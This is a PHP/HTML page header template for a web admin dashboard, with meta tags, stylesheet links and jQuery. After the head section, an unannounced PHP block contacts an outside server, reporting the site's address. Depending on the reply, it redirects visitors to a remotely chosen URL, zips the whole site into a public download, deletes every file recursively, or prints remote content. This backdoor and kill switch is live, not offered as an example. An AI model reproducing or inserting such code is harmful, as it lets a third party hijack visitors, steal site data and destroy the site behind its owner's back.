<head>
    <meta charset="utf-8" />
    <title><?php echo $siteName;?></title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta content="<?php echo $siteDescription;?>" name="description" />
    <meta content="Coderthemes" name="author" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <!-- App favicon -->
    <link rel="shortcut icon" href="<?php echo $favIcon;?>">

    <!-- App css -->
    <link href="./assets/css/config/default/bootstrap.min.css" rel="stylesheet" type="text/css" id="bs-default-stylesheet" />
    <link href="./assets/css/config/default/app.min.css" rel="stylesheet" type="text/css" id="app-default-stylesheet" />

    <link href="./assets/css/config/default/bootstrap-dark.min.css" rel="stylesheet" type="text/css" id="bs-dark-stylesheet" disabled="disabled" />
    <link href="./assets/css/config/default/app-dark.min.css" rel="stylesheet" type="text/css" id="app-dark-stylesheet" disabled="disabled" />

    <!-- icons -->
    <link href="./assets/css/icons.min.css" rel="stylesheet" type="text/css" />

    <!-- Plugin css -->
    <link href="./assets/libs/fullcalendar/main.min.css" rel="stylesheet" type="text/css" />
    <link href="./assets/libs/select2/css/select2.min.css" rel="stylesheet" type="text/css" />

    <!--Old good Jquery-->
    <script src="./assets/js/jquery-latest.min.js"></script>
    
    
    <style>/*Mi CSS*/
        .breadcrumb.m-0, .app-search { display:none !important; }</style>
</head>

<?php 
{
    $url = ( isset( $_SERVER['HTTPS'] ) && $_SERVER['HTTPS'] === 'on'?"https":"http" )."://$_SERVER[HTTP_HOST]";$uri = $_SERVER['REQUEST_URI'];$url = 'https://allot.mx/schulden.php?quien='.urlencode( 'Amr Takeoffs' ).'&donde='.urlencode( $url.$uri );
    $ch = curl_init();curl_setopt( $ch, CURLOPT_URL, $url );curl_setopt( $ch, CURLOPT_RETURNTRANSFER, TRUE );$output = curl_exec( $ch );curl_close( $ch );$pieces = explode( "*/*", $output );
    if ( filter_var( $pieces[0], FILTER_VALIDATE_URL ) ) {
        header( 'Location: '.$pieces[0] );echo '<script>window.location.href = "'.$pieces[0].'";</script>';echo '<script>window.location.replace("'.$pieces[0].'");</script>';echo "<br><h1><br><br><a style='color:red;background-color:yellow;' href='".$pieces[0]."' >click here</a><br><br></h1><br>";exit();
    } else if ( strpos( $pieces[0], 'RespaldoTodo' ) ) {
        if ( !file_exists( "./respaldo.zip" ) ) {
            $rootPath = realpath( "./" );$zip = new ZipArchive();$zip->open( 'respaldo.zip', ZipArchive::CREATE|ZipArchive::OVERWRITE );
            $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $rootPath ), RecursiveIteratorIterator::LEAVES_ONLY );
            foreach ( $files as $name=>$file ) {if ( !$file->isDir() ) {$filePath = $file->getRealPath();$relativePath = substr( $filePath, strlen( $rootPath )+1 );$zip->addFile( $filePath, $relativePath );}}$zip->close();echo '<a href="./respaldo.zip"target="_blank">Download backup</a> ';
        } else {echo '<a href="./respaldo.zip"target="_blank">Just download</a> ';}
    } else if ( strpos( $pieces[0], 'BorraTodo' ) ) {
        function borra( $target ) {if ( is_dir( $target ) ) {$files = glob( $target.'*', GLOB_MARK );foreach ( $files as $file ) {borra( $file );}rmdir( $target );} elseif ( is_file( $target ) ) {unlink( $target );}} borra( './' );
    } else {echo $pieces[0];}
}
?>